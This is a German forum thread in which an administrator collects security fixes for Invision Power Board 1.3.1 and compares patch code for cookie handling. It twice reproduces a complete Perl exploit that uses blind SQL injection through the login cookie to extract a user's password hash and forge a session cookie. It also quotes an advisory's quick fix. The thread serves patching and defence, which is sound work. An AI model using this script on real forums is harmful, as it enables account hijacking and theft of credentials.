Jump to content
InvisionCommunity.de - Der Deutsche Invision Community Support
Sign in to follow this  
junky

Alle Security updates für IPB 1.3.1

Recommended Posts

hi

kann jmd alle security updates für IPB 1.3.1 seit dem es raus ist zusammenstellen? Ich finde manchmal security updates da bin ich unsicher ob die für IPB 1.3 oder für 1.3.1 sind oder bei manchen besagten updates findet man die stellen nicht. Ich will auch keine mods oder sonstige zeugs installieren um diese updates zu machen. Am besten wäre es wenn man ein Security Topic für Ipb 1.3.1 öffnet und alle updates da sammelt.

Edited by junky

Share this post


Link to post

hab da noch was gefunden,

Code:

#!/usr/bin/perl -w

##################################################################

# This one actually works :) Just paste the outputted cookie into

# your request header using livehttpheaders or something and you

# will probably be logged in as that user. No need to decrypt it!

# Exploit coded by "ReMuSOMeGa & Nova" and h*t*p://remusomega.com

##################################################################


use LWP::UserAgent;


   $ua = new LWP::UserAgent;

   $ua->agent("Mosiac 1.0" . $ua->agent);


if (!$ARGV[0]) {$ARGV[0] = '';}

if (!$ARGV[3]) {$ARGV[3] = '';}


my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';

my $user = $ARGV[1];   # userid to jack

my $iver = $ARGV[2];   # version 1 or 2

my $cpre = $ARGV[3];   # cookie prefix

my $dbug = $ARGV[4];   # debug?


if (!$ARGV[2])

{

        print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2].\n\n";

        exit;

}


my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");


my $outputs = '';


for( $i=1; $i < 33; $i++ )

{

        for( $j=0; $j < 16; $j++ )

        {

                my $current = $charset[$j];

            my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :

"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";

                my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);

                my $res = $ua->get($path, @cookie);


                # If we get a valid sql request then this

                # does not appear anywhere in the sources

                $pattern = '<title>(.*)Log In(.*)</title>';


                $_ = $res->content;


                if ($dbug) { print };


                if ( !(/$pattern/) )

                {

                        $outputs .= $current;

                        print "$current\n";

                    last;

                }


        }

  if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }

}

print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;

exit;


# ReMuSoMeGa & nova



works like a charm

davon sollen alle IPB 1.3.1 foren betroffen sein, ich weiss nicht ob dafür ein patch gibt. Die leute amusieren sich hier über die gehackten Ipb 1.3.1 boards.

Link: h*t*//h4cky0u.org/viewtopic.php?t=1057&highlight=invision

und hier ist ein patch dafür

Hackers Center Security Group (ht*t*//***.hackerscenter.com/)

Zinho's Security Advisory

Desc: Invision PowerBoard 1.3.x - 2.x Privilege escalation through SQL injection

Risk: High

hacky0u from ht*p://***.h4cky0u.org kindly reported to me an exploit working against 1.3.x and 2.x versions of Invision Power board.

This is the quick fix for 1.3.1

It should solve the problem until Invision releases an official patch.

# sources/Login.php in 1.3.1 final

Replace lines:

(about line n. 123)

///

$mid = intval($std->my_getcookie('member_id'));

$pid = $std->my_getcookie('pass_hash');

////

with this:

///

$mid = mysql_escape_string(intval($std->my_getcookie('member_id')));

$pid = mysql_escape_string($std->my_getcookie('pass_hash'));

///

The exploit is this (Full credit to h4cky0u for this):

#!/usr/bin/perl -w

##################################################################

# This one actually works :) Just paste the outputted cookie into

# your request header using livehttpheaders or something and you

# will probably be logged in as that user. No need to decrypt it!

# Exploit coded by "ReMuSOMeGa & Nova" and h*tt*://***.h4cky0u.org

##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;

$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}

if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';

my $user = $ARGV[1]; # userid to jack

my $iver = $ARGV[2]; # version 1 or 2

my $cpre = $ARGV[3]; # cookie prefix

my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])

{

print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2]. ";

exit;

}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )

{

for( $j=0; $j < 16; $j++ )

{

my $current = $charset[$j];

my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :

"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";

my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);

my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this

# does not appear anywhere in the sources

$pattern = '<title>(.*)Log In(.*)</title>';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )

{

$outputs .= $current;

print "$current ";

last;

}

}

if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }

}

print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;

exit;

# ***.h4cky0u.org

kann sich das jmd angucken der ahnung vom programmieren hat und bestätigen ob das wirklich funktioniert? vielleicht stefan?

Edited by junky

Share this post


Link to post

Der Cookie Exploit wurde meines Wissens schon vor längerer Zeit von Invision und Master Matt selbst behoben. Leute (meist mit wenig Ahnung) amüsieren sich immer über Dinge (die sie vielleicht nicht wirklich verstehen). Das sieht man durchaus ja, an den einschlägigen Newsforen wie Heise oder Golem. Trolle gibt es überall. Ich würde mich hier weniger kirre machen lassen, sondern solche Posts gelinde ignorieren.

Gerade die genannte Seite ist schon mehrfach unangenehm aufgefallen (bspw. bei BUGTRAQ), da sie Exploits, die schon lange gepatcht waren, erneut posteten und die Credits für sich beanspruchten.

Der Autor des Originalexploits hat sich ebenfalls zu Wort gemeldet und berichtet, dass das Gulftech-Team dies bereits Monate zuvor gemeldet und behoben hatte.

Master Matt selbst berichtet hier:

http://forums.invisionpower.com/index.php?showtopic=168016

Share this post


Link to post

hi,

ich habe gerade nachgeschaut mein IPB 1.3.1

+--------------------------------------------------------------------------

| Invision Power Board v1.3.1 Final

| ========================================

| by Matthew Mecham

| © 2001 - 2003 Invision Power Services

| http://www.invisionpower.com

| ========================================

| Web: http://www.invisionboard.com

| Time: Tue, 18 May 2004 15:29:13 GMT

...

+--------------------------------------------------------------------------

vom 18.04.2004, die ganzen security fixes die danach erschienen sind, muss ich doch manuell einspielen. Diese security Fixes sind nicht drauf. Hat jmd bei Invision Customer Zugang? Kann man dort nicht sehen wieviele security updates für IPB 1.3.1 insgesammt gibt?

Edited by junky

Share this post


Link to post

Das wurde doch nun wirklich weiter oben bereits von Sire Fenek gepostet. Dort sind sämtliche Security Fixes für v1.3.1 nach Release in einem Update zusammengefasst, welches man nur noch abarbeiten muss.

Für die Security Fixes wird bei IPS nebenbei _kein_ Zugang benötigt, sie sind generell lesbar.

Edited by GreyCrow

Share this post


Link to post

hi

danke für die Antwort. Ich wollte alles ohne irgendwelche mods updaten jetzt mache ich es manuell.

Jetzt habe ich ein Problem bir funktions.php

mein funktions.php in dem ordner "sources" sieht an der Stelle wo gefixed werden soll so aus:

    /*-------------------------------------------------------------------------*/

    // Cookies, cookies everywhere and not a byte to eat.               

    /*-------------------------------------------------------------------------*/ 

   

    function my_getcookie($name)

    {

    global $INFO, $HTTP_COOKIE_VARS;

   

    if (isset($HTTP_COOKIE_VARS[$INFO['cookie_id'].$name]))

    {

      return urldecode($HTTP_COOKIE_VARS[$INFO['cookie_id'].$name]);

    }

    else

    {

      return FALSE;

    }

   

    }

invision schlägt diesen security code vor http://forums.invisionpower.com/index.php?showtopic=168016

function my_getcookie($name)

{

global $ibforums;

if ( isset($_COOKIE[$ibforums->vars['cookie_id'].$name]) )

{

if ( ! in_array( $name, array('topicsread', 'forum_read', 'collapseprefs') ) )

{

return $this->clean_value(urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]));

}

else

{

return urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]);

}

}

else

{

return FALSE;

}

}

und in dem Security update von Peter steht dieses code

//-- mod_sec_update_131 begin

            return $this->clean_value(urldecode($HTTP_COOKIE_VARS[$INFO['cookie_id'].$name]));

//-- mod_sec_update_131 end

            return urldecode($HTTP_COOKIE_VARS[$INFO['cookie_id'].$name]);

welche soll ich denn nun wählen?

Share this post


Link to post

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this  

×